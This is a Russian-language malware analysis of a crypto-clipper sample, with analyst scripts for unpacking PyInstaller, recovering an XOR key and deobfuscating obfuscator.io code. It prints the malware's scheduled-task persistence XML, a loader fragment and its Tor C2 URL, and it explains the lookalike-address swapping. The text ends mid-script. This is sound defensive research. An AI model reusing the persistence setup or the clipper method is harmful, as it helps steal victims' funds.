MalwareBazaar Sample #1
Intro
Разбор семпла 93acfa3e1128452e59dbd9d479265747718cd7a37734ecfefee4c10e43b06dde - это криптоклиппер с банком из 40 000 адресов, брутфорсер WordPress, есть собственный Tor.
Выбирал семпл по фильтрам, чтобы не был отнесен к какой-либо группе и был новым, чтобы не было существующего разбора. Полный список критериев: 1) пустая
signature2)first_submission_dateв пределах нескольких часов 3) детект 3-15 из 70 (чтобы было за что зацепиться, при этом чтобы семпл не был слишком очевидным и/или старым) 4) imphash и rich header не гуглятся
| Этап | ||
|---|---|---|
| 1 | PyInstaller 6.x, Python 3.13 | парсер CArchive |
| 2 | PyArmor 8/9, обычный режим | дамп code objects |
| 3 | Конфиги под повторяющимся XOR, ключ 12 байт | частотный анализ |
| 4 | JavaScript под obfuscator.io | восстановление строк |
Пейлод простой: подмена криптоадресов в буфере обмена, поиск seed-фраз, скриншоты, брут WordPress через XML-RPC. C2 - два Tor айпишника.
1 | Triage
Cначала я загрузил изначальный семпл в иду, посмотрел на структуру, достаточно быстро понял что это PyInstaller (явные строки); после чего загрузил семпл в DiE:
Сдампил странный .rsrc участок
#extract rsrc
data = open("unknown.exe", "rb").read();
open("pkg.bin", "wb").write(data[0x48E00:0x48E00 + 0xD52476]);1.1 | Отступление про иду
Внутри 825 функций, многие мелкие, многие похожи на обертки. Сначала я подумал, что это обфускация call graph. После того, как увидел много плейнтекст питоновских строк понял, что это обычный бутлодер PyInstaller. Строки для опознания:
Could not load PyInstaller's embedded PKG archive from the executable (%s)
_PYI_ARCHIVE_FILE / _PYI_APPLICATION_HOME_DIR / _PYI_PARENT_PROCESS_LEVEL
pyi-runtime-tmpdir / pyi-contents-directory / pyi-disable-windowed-traceback
%s\base_library.zip
%s\python%d.%d\lib-dynload
_MEIPASS
Соответствие функций:
| В базе | Оригинал |
|---|---|
sub_140004CB0 |
pyi_main - архив, temp dir, splash, re-exec |
sub_140004840 |
загрузка python313.dll, конфиг, запуск |
sub_140002790 |
резолв символов Python и таблица указателей |
sub_1400044C0 |
pyi_launch_run_scripts - unmarshal +
PyEval_EvalCode |
sub_1400076C0 |
установка _MEIPASS, импорт вшитых модулей |
sub_1400072C0 |
заполнение PyConfig |
sub_140001920 |
pyi_arch_increment_toc_ptr |
| и т.д. | там было 850 функций +- |
Изначально я думал что есть таблица обфускации, через которую идут
все вызовы ((*(...)(a5 + 296))(...)), но это структура
указателей на Python C API. Описав ее как тип в IDA, можно легко
получить читаемый псевдокод:
struct PyAPI {
void *pad0[2];
void (__fastcall *Py_DecRef)(void *);
void *pad1[28];
void *(__fastcall *PyImport_ImportModule)(const char *);
/* ... */
};Можно было бы взять дифф относительно локально собранного бутлодера с символами, тогда можно было бы перенести оргинальные имена, но я не стал этого делать. Кому интересно - you’re welcome.
2 | Распаковка PyInstaller
2.1 | CArchive format
Архив устроен так: сначала идут сжатые записи, потом TOC, и в конце уже кука с magic. Из-за этого DiE, глядя на начало вырезанного оверлея показывает zlib.
Запись TOC (все поля big-endian):
struct TOC {
uint32_t structlen; // +0 длина всей записи
uint32_t pos; // +4 смещение данных
uint32_t len; // +8 сжатый размер
uint32_t ulen; // +12 распакованный размер
char cflag; // +16 сжато ли
char typcd; // +17 тип
char name[1]; // +18 имя, до конца записи
};Типкоды, которые встречаются: s - скрипт,
m/M - модуль/пакет, z - PYZ,
b - бинарь, o - опция рантайма, x
- данные. Кука в последних 88 байтах: !8sIIII64s - magic,
размер пакета, смещение TOC, длина TOC, версия питона, имя
python-DLL.
2.2 | Ошибки
Разбирая декомпил иды, я увидел константу:
*(_QWORD *)Buffer = 0xE0B0A0B0D49454Di64;и разложил ее как 4D 45 49 0D 0B 0A 0B 0E, то есть
MEI\x0D... вместо ожидаемого MEI\x0C....
Отсюда я думал, что автор пропатчил magic, чтобы
pyinstxtractor не смог распаковать архив, и возможно еще
что-то заменил. Это обьясняет то, как я подошел к распаковке
пейлода.
2.3 | Parser
pyinstxtractor работает, но привязан к magic. Сначала я
думал (по коду из иды), что автор изменил magic пай инсталлера, поэтому
пользовался magic-agnostic unpackerом).
MAGIC: 4d 45 49 0c 0b 0a 0b 0e (штатный)
TOC: offset 0xd51e0e, len 1552
pyvers: 313 -> Python 3.13
pylib: python313.dll
записей: 37
pyc magic: f3 0d 0d 0a -> Python 3.13
Версия важна, т.к
.pycчитается только той версией, которой собран. Упомнул, т.к я сначала пытался разобрать 3.13 из-под 3.14, даетIndexErrorвнутриdis(видимо меняется формат маршалинга)
#extract payload
"""
cookie is at the end of the archive, TOC is at the offset (cookie related). + big endian
python3 pkg_parse.py pkg.bin # листинг
python3 pkg_parse.py pkg.bin -x out/ # extraction
"""
import argparse
import os
import struct
import sys
import zlib
COOKIE_21 = 88 # 8 magic + 4*4 + 64 pylibname (PyInstaller 2.1+)
COOKIE_20 = 24 # older versions
TYPE_NAMES = {
b"a": "ARCHIVE (nested)",
b"b": "BINARY (.dll/.pyd)",
b"d": "DEPENDENCY",
b"l": "SPLASH",
b"m": "PYMODULE",
b"M": "PYPACKAGE",
b"o": "RUNTIME_OPTION",
b"s": "PYSOURCE <-- точка входа",
b"x": "DATA",
b"z": "PYZ",
b"Z": "PYZ (uncompressed)",
}
# magic word -> версия, для восстановления заголовков pyc
PYC_MAGIC = {
3394: "3.7", 3413: "3.8", 3425: "3.9", 3439: "3.10",
3495: "3.11", 3531: "3.12", 3571: "3.13", 3600: "3.14",
}
def read_cookie(data):
"""returns (magic, pkg_len, toc_pos, toc_len, pyvers, pylib)"""
for size in (COOKIE_21, COOKIE_20):
if len(data) < size:
continue
blob = data[-size:]
if size == COOKIE_21:
magic, pkg_len, toc_pos, toc_len, pyvers, pylib = struct.unpack(
"!8sIIII64s", blob)
pylib = pylib.rstrip(b"\x00").decode("ascii", "replace")
else:
magic, pkg_len, toc_pos, toc_len, pyvers = struct.unpack(
"!8sIIII", blob)
pylib = ""
# sanity check вместо проверки magic\
if 0 < toc_pos < len(data) and 0 < toc_len <= len(data) - toc_pos:
return magic, pkg_len, toc_pos, toc_len, pyvers, pylib
return None
def parse_toc(data, toc_pos, toc_len):
entries = []
off = toc_pos
end = toc_pos + toc_len
while off < end:
(structlen,) = struct.unpack("!I", data[off:off + 4])
if structlen < 18 or off + structlen > end:
print("[!] bad TOC entry на %#x (structlen=%d)" % (off, structlen),
file=sys.stderr)
break
pos, dlen, ulen = struct.unpack("!III", data[off + 4:off + 16])
cflag = data[off + 16]
typcd = data[off + 17:off + 18]
name = data[off + 18:off + structlen].rstrip(b"\x00")
entries.append({
"pos": pos, "len": dlen, "ulen": ulen,
"cflag": cflag, "type": typcd,
"name": name.decode("utf-8", "replace"),
})
off += structlen
return entries
def get_data(data, e):
raw = data[e["pos"]:e["pos"] + e["len"]]
if e["cflag"]:
try:
raw = zlib.decompress(raw)
except zlib.error as err:
print("[!] couldnt unpack %s (%s)" % (e["name"], err),
file=sys.stderr)
return None
return raw
def sniff_pyc_magic(data, entries):
"""retrieve magic word питона из заголовка PYZ"""
for e in entries:
if e["type"] in (b"z", b"Z"):
blob = get_data(data, e)
if blob and blob[:4] == b"PYZ\x00":
return blob[4:8]
return None
def main():
ap = argparse.ArgumentParser()
ap.add_argument("archive")
ap.add_argument("-x", "--extract", metavar="DIR")
args = ap.parse_args()
data = open(args.archive, "rb").read()
ck = read_cookie(data)
if not ck:
sys.exit("куки нет; оверлей вырезан не целиком?")
magic, pkg_len, toc_pos, toc_len, pyvers, pylib = ck
print("MAGIC: %s (%s)" % (
magic.hex(" "),
"дефолт" if magic == b"MEI\x0c\x0b\x0a\x0b\x0e" else "ИЗМЕНеН"))
print("размер: %d (файл %d)" % (pkg_len, len(data)))
print("TOC: offset %#x, len %d" % (toc_pos, toc_len))
print("pyvers: %d -> Python %d.%d" % (pyvers, pyvers // 100, pyvers % 100))
print("pylib: %s" % pylib)
entries = parse_toc(data, toc_pos, toc_len)
print("\nзаписей в TOC: %d" % len(entries))
pyc_magic = sniff_pyc_magic(data, entries)
if pyc_magic:
mw = struct.unpack("<H", pyc_magic[:2])[0]
print("pyc magic: %s -> Python %s"
% (pyc_magic.hex(" "), PYC_MAGIC.get(mw, "неизвестно (%d)" % mw)))
# сначала то, что определяет дальнейшую работу
print("\n=== важное ===")
for e in entries:
if e["type"] in (b"s", b"z", b"Z", b"o"):
print(" [%s] %-45s %8d -> %8d %s"
% (e["type"].decode(), e["name"], e["len"], e["ulen"],
TYPE_NAMES.get(e["type"], "?")))
# сводка по типам
print("\n=== типы ===")
counts = {}
for e in entries:
counts[e["type"]] = counts.get(e["type"], 0) + 1
for t, n in sorted(counts.items()):
print(" %s %-24s %d" % (t.decode(), TYPE_NAMES.get(t, "?"), n))
# модули верхнего уровня - по ним видно, что за софт
mods = sorted({e["name"].split(".")[0] for e in entries
if e["type"] in (b"m", b"M")})
if mods:
print("\n=== МОДУЛИ (верхний уровень, %d) ===" % len(mods))
for i in range(0, len(mods), 4):
print(" " + " ".join("%-22s" % m for m in mods[i:i + 4]))
if not args.extract:
return
outdir = args.extract
os.makedirs(outdir, exist_ok=True)
hdr = None
if pyc_magic:
# 3.7+ : magic(4) + flags(4) + timestamp(4) + size(4)
hdr = pyc_magic + b"\x00" * 12
written = 0
for e in entries:
blob = get_data(data, e)
if blob is None:
continue
name = e["name"].replace("\\", "/").lstrip("/")
if e["type"] in (b"m", b"M", b"s"):
name = name.replace(".", "/") + ".pyc"
if hdr and blob[:4] != pyc_magic:
blob = hdr + blob
path = os.path.join(outdir, name)
os.makedirs(os.path.dirname(path) or outdir, exist_ok=True)
with open(path, "wb") as f:
f.write(blob)
written += 1
print("\nизвлечено: %d -> %s" % (written, outdir))
if __name__ == "__main__":
main()2.4 | Parse results
Получил такие файлы (некоторые тут мои, разбор пишу параллельно анализу):
2.5 | PyArmor
В изначальном распакованном каталоге
installer.pyc ; 40 кб
campus.py ; 511 кб
pyarmor_runtime_000000/
data_p002/
uusd.exe
libcrypto-3.dll
python313.dll
psutil/ _wmi.pyd _socket.pyd ...etc
installer.pyc под 3.13 разбирается в три инструкции:
RESUME
IMPORT_NAME pyarmor_runtime_000000
LOAD_CONST b'PY000000\x00\x03\r\x00\xf3\r\r\n...' # 42kb blob
CALL 3
То есть и он тоже под PyArmor, т.е отсюда тоже не получить логику
2.6 | Header
0000 50 59 30 30 30 30 30 30 "PY000000" PyArmor 8+
0008 00 03 0d 00 Python 3.13
000c f3 0d 0d 0a pyc magic 3.13
0010 80 00 01 00 флаги
0014 08 00 00 00 04 00 00 00
001c 40 00 00 00 sizeof(hdr) = 64
0020 85 a5 00 00 sizeof(payload) = 42373 (64 + 42373 == 42437)
0024 12 09 04 00 версия?
0028 ..16bytes.. nonce
Энтропия payload - 7.996/8.0, все 256 значений , осмысленных строк нет. Статический анализ ничего не дает,тк расшифрованного байткода на диске нет.
2.7 | Runtime
Строки из pyarmor_runtime.pyd:
PyArmor v8+ runtime module
pyarmor-vax-000000 / pyarmor_runtime_000000
Mingw-w64 runtime failure:
src/ciphers/aes/aes.c src/hashes/sha2/sha256.c
src/pk/rsa/rsa_make_key.c der_decode_subject_public_key_info.c
PYARMOR_RKEY / .pyarmor.ikey
this license key is expired / is not for this machine
Failed to get harddisk information. / Failed to get mac address.
IsDebuggerPresent
User-Agent: PYARMOR.CORE
- версия - ветка 8/9; встроенный changelog доходит до
v6.7.5(r45), это версия ядра, не инструмента - серийник нулевой (
000000) - сборка без зарегистрированной лицензии. BCC и RFT в PyArmor 8+ платные, значит режим скорее всего обычный и code objects восстановятся полностью - крипто - LibTomCrypt, AES + SHA256 + RSA
- анти-отладка слабая - только
IsDebuggerPresent, ниNtQueryInformationProcess, ни таймингов - сеть - winsock и
PYARMOR.CORE
Строки bcc code и
op_mkfunc not available in bcc mode в рантайме есть, но они
одинаковые во всех сборках и не доказывают, что BCC применен
здесь. Если в дампе функции окажутся заглушками с почти пустым
co_code - BCC; если нормальный байткод то нет.
2.8 | DeArmor
Точки перехвата в python313.dll
PyMarshal_ReadObjectFromString- если рантайм после расшифровки отдает marshal, полчуаем все одним кускомPyEval_EvalCode- первый аргумент и естьPyCodeObject*, дальше прямо в процессеPyMarshal_WriteObjectToString_PyEval_EvalFrameDefault- не пробовал, но сработает точно, но в 3.13 придется знать раскладку_PyInterpreterFrame
Способы доставки хука
- Frida - быстро попробовать; может споткнуться об анти-дебаг (хотя там тривиальный патчинг антидебага)
- прокси-DLL -
python313.dllлежит рядом с приложением, его можно подменить: форвардишь экспорты в переименованный оригинал, нужные перехватываем (DLL hijack) - патченый CPython - собрать 3.13 с дампом в
PyEval_EvalCode. Не пробовал, но точно сработает тк будет юзатся наш CPython
3 XOR
Из распакованных файлов особенно интересует
data_p002:
Посмотрел файлы, они оказались зашифрованными
3.1 Как распознать XOR
002_b.js: энтропия 6.712/8.0, байт >= 0x80: 0, уникальных 128/256
002.xml : энтропия 5.198/8.0
002a.txt: энтропия 6.694/8.0
Два вывода: 1) энтропия сильно ниже 8 - это не сжатие и не настоящий шифр. Для сравнения, payload PyArmor выше давал 7.996 2) старший бит нулевой у всех байтов, уникальных ровно 128 - значит и открытый текст, и ключ семибитные ASCII. XOR двух ASCII-значений остается < 0x80
3.2 Длина ключа через индексы совпадений
Берем каждый -й байт файла. Если , вся такая колонка зашифрована одним и тем же байтом - а XOR с константой не меняет распределение частот, только переставляет его. Значит частотный перекос исходного текста сохраняется, и индекс совпадений высокий. При некратном байты в колонке перемешаны разными байтами ключа, и IC падает к 1/256.
002_b.js p=36:0.0319 p=60:0.0318 p=12:0.0318 p=24:0.0317 p=48:0.0317 p=18:0.0211
002.xml p=60:0.5199 p=12:0.5198 p=36:0.5196 p=24:0.5195 p=48:0.5191 p= 6:0.2624
002w.txt p=24:0.0694 p=12:0.0693 p=48:0.0692 p=36:0.0691 p=60:0.0691 p= 6:0.0418
Пики на 12, 24, 36, 48, 60 - это одно и то же: кратные периоды дают такой же эффект базовый период == 12
Заодно видно кое-что про содержимое: у 002.xml IC равен
0.52 против 0.03 у остальных. Настолько перекошенное распределение
бывает, когда половина байтов одинаковая - характерно для UTF-16 с
ASCII-текстом, где каждый второй байт нулевой (ascii(XX YY)
unicode(XX 00 | YY 00))
3.3 Сам ключ
Для каждой из 12 колонок перебираем все 256 вариантов ключевого байта и берем тот, при котором расшифрованная колонка больше похожа на осмысленный текст. Скоринг: пробелы и частые буквы в плюс, непечатаемые байты в минус.
у
002.xmlдоминирует не пробел, а0x00, и обычная модель дает неверный ключ - вместо нулей вылезают пробелы, а текст все равно выглядит читаемым. Поэтому скрипт проверяет две гипотезы - «доминирует текст» и «доминирует 0x00» - и выбирает по сигнатурам в результате (BOM,<?xml,var,MZ).pack.jsвесит 2.7kb, на колонку приходится по 227bytes - мало для частотного анализа , два байта ключа выходят неверными. В предположении о том, что ключ общий, считаем по всем файлам сразу:
python xor_solve.py --pool data_p002/* -o decrypted/(Каждый файл при объединении обрезается по границе периода, иначе колонки съедут). По верному запросу со всеми критериями клод дает скрипт:
#!/usr/bin/env python3
"""
xor_solve.py — восстановление ключа повторяющегося XOR без известного открытого текста.
1) Байты ключа по колонкам: перебираем 256 вариантов и берём тот, при котором
колонка больше похожа на осмысленные данные. Гипотезы две — «доминирует
текст» и «доминирует 0x00» (UTF-16, бинарные форматы). Выбор между ними
по сигнатурам в расшифрованном результате
2)Проверка: сигнатуры, доля печатаемых, начало файла
Если файлы зашифрованы одним ключом, искать надёжнее по всем сразу (--pool):
на маленьком файле статистики не хватает.
python3 xor_solve.py --pool data_p002/*
python3 xor_solve.py file1 file2
python3 xor_solve.py -k zSItEBKDC2TD -o out/ data_p002/*
"""
import argparse
import collections
import math
import os
FREQ = {}
for ch in b' etaoinshrdlucmfwypvbgkjqxz':
FREQ[ch] = 5
for ch in b'ETAOINSHRDLUCMFWYPVBGKJQXZ':
FREQ[ch] = 3
for ch in b'0123456789':
FREQ[ch] = 3
for ch in b'.,;:()[]{}<>=+-*/_"\'\\|&!?#$%@^~`':
FREQ[ch] = 2
for ch in b'\r\n\t':
FREQ[ch] = 2
SIGNATURES = [
(b'<?xml', 'XML'), (b'\xff\xfe', 'BOM UTF-16LE'), (b'\xef\xbb\xbf', 'BOM UTF-8'),
(b'MZ', 'PE'), (b'var ', 'JavaScript'), (b'function', 'JavaScript'),
(b'#!/', 'shebang'), (b'PK\x03\x04', 'ZIP'), (b'\x1f\x8b', 'gzip'),
(b'{"', 'JSON'), (b'-----BEGIN', 'PEM'), (b'<html', 'HTML'),
]
def entropy(d):
c = collections.Counter(d)
n = len(d)
return -sum((v / n) * math.log2(v / n) for v in c.values())
def xor(data, key):
n = len(key)
return bytes(b ^ key[i % n] for i, b in enumerate(data))
def printable_ratio(d):
if not d:
return 0.0
return sum(1 for c in d if 32 <= c < 127 or c in (9, 10, 13)) / len(d)
def utf16_ratio(d):
pairs = len(d) // 2
if not pairs:
return 0.0
ok = sum(1 for i in range(pairs)
if (32 <= d[2 * i] < 127 or d[2 * i] in (9, 10, 13)) and d[2 * i + 1] == 0)
return ok / pairs
def find_signatures(d):
head = d[:4096]
return sorted({name for sig, name in SIGNATURES if sig in head})
def index_of_coincidence(data, period):
total, used = 0.0, 0
for i in range(period):
col = data[i::period]
if len(col) < 2:
continue
c = collections.Counter(col)
n = len(col)
total += sum(v * (v - 1) for v in c.values()) / (n * (n - 1))
used += 1
return total / used if used else 0.0
def guess_keylen(data, maxlen=64, verbose=True):
scores = sorted(((index_of_coincidence(data, p), p) for p in range(1, maxlen + 1)),
reverse=True)
if verbose:
print(' топ периодов по IC:')
for ic, p in scores[:6]:
print(' p=%-3d IC=%.4f' % (p, ic))
top = scores[0][0]
good = sorted(p for ic, p in scores if ic > top * 0.85)
best = good[0]
if verbose and best != scores[0][1]:
print(' пики на %s — кратные, базовый период %d'
% (', '.join(map(str, good[:5])), best))
return best
def collapse_key(key):
n = len(key)
for p in range(1, n):
if n % p == 0 and key == key[:p] * (n // p):
return key[:p]
return key
def score_column(col, allow_null):
s = 0
for c in col:
if c == 0:
s += 5 if allow_null else -6
elif 32 <= c < 127 or c in (9, 10, 13):
s += FREQ.get(c, 1)
else:
s -= 6
return s
def recover_key(data, klen, allow_null=False, verbose=True):
key = bytearray()
weak = []
for i in range(klen):
col = data[i::klen]
sc = sorted(((score_column(bytes(c ^ k for c in col), allow_null), k)
for k in range(256)), reverse=True)
key.append(sc[0][1])
# отрыв лидера от второго места относительно разброса «лидер — медиана»:
# так видно, действительно ли один вариант выделяется
vals = [v for v, _ in sc]
median = vals[len(vals) // 2]
span = (sc[0][0] - median) or 1
z = (sc[0][0] - sc[1][0]) / span
if z < 0.01:
weak.append(i)
if verbose:
ch = chr(sc[0][1]) if 32 <= sc[0][1] < 127 else '.'
print(' колонка %-2d 0x%02x %-4s отрыв %.0f%%%s'
% (i, sc[0][1], repr(ch), z * 100, ' <- ненадёжно' if z < 0.01 else ''))
if verbose and weak:
print(' колонки со слабым отрывом: %s — проверь их по результату' % weak)
return bytes(key)
def pick_hypothesis(data, klen, verbose=True):
res = []
for allow_null, label in ((False, 'доминирует текст'), (True, 'доминирует 0x00')):
if verbose:
print('\n гипотеза: %s' % label)
k = recover_key(data, klen, allow_null, verbose)
dec = xor(data, k)
sigs = find_signatures(dec)
pr, ur = printable_ratio(dec), utf16_ratio(dec)
score = len(sigs) * 10 + max(pr, ur)
if verbose:
print(' ключ %r' % k)
print(' печатаемых %.1f%%, UTF-16 пар %.1f%%, сигнатуры: %s'
% (pr * 100, ur * 100, ', '.join(sigs) or '—'))
res.append((score, k, label))
res.sort(key=lambda r: -r[0])
if verbose:
print('\n выбрана гипотеза: %s' % res[0][2])
return res[0][1]
def report(name, data, key, outdir):
dec = xor(data, key)
print('\n --- %s ---' % os.path.basename(name))
print(' печатаемых %.1f%%, UTF-16 пар %.1f%%, сигнатуры: %s'
% (printable_ratio(dec) * 100, utf16_ratio(dec) * 100,
', '.join(find_signatures(dec)) or '—'))
print(' начало: %r' % dec[:70])
if outdir:
os.makedirs(outdir, exist_ok=True)
out = os.path.join(outdir, os.path.basename(name) + '.dec')
with open(out, 'wb') as f:
f.write(dec)
print(' -> %s' % out)
def main():
ap = argparse.ArgumentParser()
ap.add_argument('files', nargs='+')
ap.add_argument('-k', '--key')
ap.add_argument('-o', '--outdir', default='decrypted')
ap.add_argument('--pool', action='store_true',
help='один общий ключ по всем файлам сразу')
ap.add_argument('--maxlen', type=int, default=64)
args = ap.parse_args()
blobs = [(f, open(f, 'rb').read()) for f in args.files]
if args.key:
key = (bytes.fromhex(args.key[2:]) if args.key.startswith('0x')
else args.key.encode('latin-1'))
print('ключ задан: %r' % key)
for n, d in blobs:
report(n, d, key, args.outdir)
return
if args.pool:
biggest = max(blobs, key=lambda b: len(b[1]))[1]
print('[0] период по самому большому файлу')
klen = guess_keylen(biggest, args.maxlen)
print(' период = %d' % klen)
# обрезаем каждый файл по границе периода, иначе колонки съедут
pool = b''.join(d[:len(d) - len(d) % klen] for _, d in blobs)
print('\n[1] объединено файлов: %d, байт: %d' % (len(blobs), len(pool)))
print(' энтропия %.3f, байт >= 0x80: %d'
% (entropy(pool), sum(1 for b in pool if b & 0x80)))
print('\n[2] уточнение периода на объединённых данных')
klen = guess_keylen(pool, args.maxlen)
print(' период = %d' % klen)
print('\n[3] подбор байтов ключа')
key = collapse_key(pick_hypothesis(pool, klen))
print('\n[4] XOR key: %r (длина %d, hex %s)'
% (key, len(key), key.hex(' ')))
for n, d in blobs:
report(n, d, key, args.outdir)
return
for name, data in blobs:
print('\n' + '=' * 68)
print('%s (%d байт)' % (os.path.basename(name), len(data)))
print('=' * 68)
H = entropy(data)
hi = sum(1 for b in data if b & 0x80)
print('\n[1] оценка')
print(' энтропия %.3f/8.0, байт >= 0x80: %d (%.1f%%), уникальных %d'
% (H, hi, hi / len(data) * 100, len(set(data))))
if H > 7.9:
print(' => почти максимум: сжатие или шифр, XOR не подойдёт')
continue
if hi == 0:
print(' => старший бит нулевой везде: текст и ключ семибитные')
if len(data) < 4096:
print(' [!] файл мелкий, статистики мало — надёжнее через --pool')
print('\n[2] длина ключа')
klen = guess_keylen(data, args.maxlen)
print(' период = %d' % klen)
print('\n[3] байты ключа')
key = collapse_key(pick_hypothesis(data, klen))
print('\n[4] ключ: %r (hex %s)' % (key, key.hex(' ')))
report(name, data, key, args.outdir)
if __name__ == '__main__':
main()[4] XOR key: b'zSItEBKDC2TD'
Главная проверка - 002.xml дает корректный BOM
FF FE и
<?xml version="1.0" encoding="UTF-16"?>, еще можно
проверять по структуре PE файла в той же папке, взяв DOS header за
референс.
4 | Exfiltration
4.1 | 002w.txt - словарь BIP-39
2048 слов: abandon, ability,
able, about… ,список для мнемонических фраз.
Нужен, чтобы распознавать seed-фразы для доступа к кошелкам в буфере
обмена и файлах.
4.2 | 002a.txt - банк адресов для подмены
39 999 адресов , по 10 000 каждого типа:
| Префикс | Тип | Колво |
|---|---|---|
1… |
BTC P2PKH | 10 000 |
3… |
BTC P2SH | 10 000 |
bc1… |
BTC bech32 | 10 000 |
T… |
TRON | 9 999 |
Такой объем нужен клипперу, чтобы подобрать замену, визуально похожую на скопированный жертвой адрес - с теми же первыми и последними символами. Пользователь сверяет «начало и конец» и не замечает подмены. Позже сделаю пост про клипперы на винде и линуксе (пока что без wayland, он сложнее).
4.3 | 002.xml
Тут персистенс-конфиг
<Task version="1.2">
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT1M</Interval>
<Duration>PT99998H58M</Duration>
</Repetition>
<StartBoundary>2025-06-01T01:01:01</StartBoundary>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<GroupId>S-1-5-4</GroupId>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\wscript.exe</Command>
<Arguments>C:\Users\Public\AccountPictures\%FOLD%\%NAME%.js</Arguments>
</Exec>
</Actions>
</Task>Шаблон с плейсхолдерами %FOLD% и %NAME%,
подставляются питон-стадией. Запуск раз в минуту на 99998 часов, без
повышения привилегий. Каталог
C:\Users\Public\AccountPictures\ наверное был выбран как
неочевидное место.
5 | JS
Три файла - pack.js, 002_b.js,
002_n.js - обфусцированы obfuscator.io. Схема стандартная:
массив строк, поворот массива в IIFE с проверкой контрольной суммы,
доступ через функцию-индексатор.
var _0x59fbac = _0x2ca5;
(function (_0x4677d2, _0x270a57) {
var _0x577bec = _0x2ca5, _0x2c679d = _0x4677d2();
while (!![]) { try { /* арифметика с parseInt и проверка */ } catch (e) { ... } }
}(...));5.1 | Deobfuscate
Полностью выполнять малварь не надо. Строки лежат в файле открыто => поворот только меняет соответствие индексов => значит достаточно восстановить смещение индекса и величину поворота.
Восстанавливаются по ограничениям:
- Собираем все обращения
_0xNNNN(0xNN)- получаем диапазон индексов (здесь0xa0…0x17b, ровно 220 значений при 220 элементах массива) - Из этого следует смещение:
base = 0xa0 - Поворот подбираем по известным значениям. Например, из выражения
PING_URL = 'http://hek' + f(0xdf) + f(0xa1) + f(0xba) + 'x47vp3k7pg' + 'ffeasxsfee' + f(0xf6) + f(0xed)видно, что результат обязан быть валидным onion-адресом: 56 символов base32 плюс.onion/. Только один поворот из 220 дает такое
решений: 1
base=0xa0 rot=161
PING_URL = http://hek5ensy7wqqls2cafflihs7sdqr4dwxux47vp3k7pgffeasxsfeeyid.onion/route.php
Дальше подставляем строки на места вызовов и склеиваем соседние литералы (obfuscator режет строки на куски по 10 символов). Скрипт -
#!/usr/bin/env python3
"""
deob_obfuscatorio.py — разворот массива строк obfuscator.io без выполнения кода.
Схема обфускатора: массив строковых литералов, поворот массива в IIFE
с проверкой контрольной суммы, доступ через функцию-индексатор _0xNNNN(0xIDX).
Содержимое массива лежит в файле открыто — поворот меняет только соответствие
индексов. Значит достаточно восстановить два параметра:
base — смещение индекса (idx - base = позиция в массиве)
rot — величина поворота
base берётся из диапазона используемых индексов: если индексов ровно столько же,
сколько элементов, то base = min(индекс).
rot подбирается по ограничению — известному значению по известному индексу
(--anchor) либо по тому, что результат конкатенации обязан быть валидным
(--check-onion проверяет сборку onion-URL).
python3 deob_obfuscatorio.py 002_n.js --check-onion
python3 deob_obfuscatorio.py file.js --anchor 0xf6=yid.onion/
python3 deob_obfuscatorio.py file.js --base 0xa0 --rot 161
"""
import argparse
import collections
import re
import sys
STR_RE = r"'((?:[^'\\]|\\.)*)'"
def unescape(x):
x = re.sub(r'\\x([0-9a-fA-F]{2})', lambda m: chr(int(m.group(1), 16)), x)
x = re.sub(r'\\u([0-9a-fA-F]{4})', lambda m: chr(int(m.group(1), 16)), x)
return x.replace("\\'", "'").replace('\\"', '"').replace('\\\\', '\\')
def extract_array(src):
"""Самый длинный массив строковых литералов в файле."""
best = None
for m in re.finditer(r'\[((?:\s*' + STR_RE + r'\s*,?)+)\]', src):
items = re.findall(STR_RE, m.group(1))
if best is None or len(items) > len(best):
best = items
return [unescape(x) for x in best] if best else None
def decoder_name(src):
calls = re.findall(r'(_0x[0-9a-fA-F]{4,8})\(\s*(0x[0-9a-fA-F]+)\s*\)', src)
if not calls:
return None, []
name = collections.Counter(n for n, _ in calls).most_common(1)[0][0]
idxs = sorted({int(v, 16) for n, v in calls if n == name})
return name, idxs
def substitute(src, name, arr, base):
def repl(m):
j = int(m.group(1), 16) - base
if not (0 <= j < len(arr)):
return m.group(0)
return "'" + arr[j].replace('\\', '\\\\').replace("'", "\\'") + "'"
return re.sub(re.escape(name) + r'\(\s*(0x[0-9a-fA-F]+)\s*\)', repl, src)
def join_literals(src):
prev = None
while prev != src:
prev = src
src = re.sub(STR_RE + r"\s*\+\s*" + STR_RE,
lambda m: "'" + m.group(1) + m.group(2) + "'", src)
return src
def onion_ok(text):
return bool(re.search(r"http://[a-z2-7]{56}\.onion/", text))
def main():
ap = argparse.ArgumentParser()
ap.add_argument('path')
ap.add_argument('-o', '--out')
ap.add_argument('--base', help='смещение индекса, напр. 0xa0')
ap.add_argument('--rot', type=int, help='поворот массива')
ap.add_argument('--anchor', action='append', default=[],
metavar='IDX=VALUE', help='известное значение, напр. 0xf6=yid.onion/')
ap.add_argument('--check-onion', action='store_true',
help='считать верным поворот, дающий валидный onion-URL')
args = ap.parse_args()
src = open(args.path, encoding='utf-8', errors='replace').read()
arr = extract_array(src)
if not arr:
sys.exit('массив строк не найден — возможно, другой вариант обфускатора')
name, idxs = decoder_name(src)
if not name:
sys.exit('вызовы декодера не найдены')
n = len(arr)
print('массив: %d строк, декодер: %s, индексов: %d (%#x..%#x)'
% (n, name, len(idxs), idxs[0], idxs[-1]))
bases = ([int(args.base, 16)] if args.base
else list(range(idxs[-1] - n + 1, idxs[0] + 1)))
if len(bases) == 1:
print('base = %#x' % bases[0])
elif idxs[-1] - idxs[0] + 1 == n:
bases = [idxs[0]]
print('индексов ровно столько же, сколько элементов -> base = %#x' % bases[0])
anchors = {}
for a in args.anchor:
k, v = a.split('=', 1)
anchors[int(k, 16)] = v
rots = [args.rot] if args.rot is not None else range(n)
hits = []
for base in bases:
for rot in rots:
r = arr[rot:] + arr[:rot]
if any(not (0 <= i - base < n) or r[i - base] != v
for i, v in anchors.items()):
continue
out = substitute(src, name, r, base)
out = join_literals(out)
if args.check_onion and not onion_ok(out):
continue
hits.append((base, rot, out))
if not hits:
sys.exit('подходящих параметров не найдено — задай --anchor или --base/--rot')
if len(hits) > 1 and not (args.rot is not None):
print('[!] вариантов несколько (%d) — добавь --anchor для однозначности'
% len(hits))
base, rot, out = hits[0]
print('принято: base=%#x rot=%d' % (base, rot))
for u in sorted(set(re.findall(r'https?://[^\s\'"]{6,120}', out))):
print(' URL: %s' % u)
dst = args.out or (args.path + '.deob.js')
